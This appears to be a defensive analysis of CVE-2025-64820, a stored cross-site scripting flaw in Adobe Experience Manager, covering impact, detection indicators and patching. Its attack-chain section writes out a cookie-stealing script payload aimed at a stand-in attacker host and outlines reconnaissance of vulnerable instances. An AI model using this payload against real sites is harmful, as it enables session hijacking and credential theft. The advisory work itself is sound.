CVE-2025-64820: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64820 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises/LTS) and AEM Cloud Service releases prior to 2025.12.0. The vulnerability was published on December 9, 2025, and patched the same day via Adobe's security advisory APSB25-115. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, network-accessible attacker can inject malicious JavaScript into vulnerable AEM form fields, which is then persistently stored and executed in the browser of any user who visits the affected page (stored/persistent XSS). Exploitation requires user interaction (a victim browsing to the page containing the injected payload) but does not require elevated privileges beyond a standard authenticated account. The CVSS vector (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) reflects the changed scope, indicating the injected script executes in the context of the victim's browser session rather than the attacker's (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of any user who views the compromised AEM page, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and defacement of AEM-hosted content. The confidentiality and integrity impacts are limited (low) per the CVSS scoring, but the changed scope means the impact extends beyond the attacker's own session to affect other users of the platform. Availability is not directly impacted (Adobe Advisory).

1. Reconnaissance: Identify Adobe Experience Manager instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM author or contributor account, as exploitation requires authentication.
3. Identify vulnerable form fields: Navigate to AEM authoring interfaces and identify form fields that do not properly sanitize user input before storing and rendering it.
4. Inject XSS payload: Submit a crafted stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save/publish the content.
5. Trigger victim execution: When a target user (e.g., an AEM administrator or site visitor) browses to the page containing the injected content, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Adobe Advisory).

• Logs: AEM access logs showing POST requests to authoring/form endpoints containing encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=) from low-privileged user accounts.
• File System / Content Repository: Unexpected JavaScript content stored in AEM JCR (Java Content Repository) nodes, particularly in page properties or form field values not typically containing script content.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages; unusual referrer headers pointing to AEM pages in web proxy logs.
• Process/Application: AEM error logs showing unexpected rendering of script content or Content Security Policy (CSP) violation reports if CSP is configured.

Adobe has released patches addressing CVE-2025-64820 in AEM 6.5.24.0 (on-premises) and AEM Cloud Service 2025.12.0. Organizations should upgrade to these versions immediately. As a temporary workaround, restricting authoring access to trusted users only and implementing a strict Content Security Policy (CSP) can reduce the risk of XSS exploitation. Review and audit AEM form fields and content for any existing injected scripts as part of incident response (Adobe Advisory).

The vulnerability was noted in automated vulnerability tracking platforms including Vulners, VulDB, and CIRCL's vulnerability lookup service shortly after disclosure. Tenable released Nessus detection plugin 278346 to identify affected AEM instances. No significant independent researcher commentary or major media coverage specific to CVE-2025-64820 has been identified, consistent with its medium severity rating and lack of active exploitation (Adobe Advisory).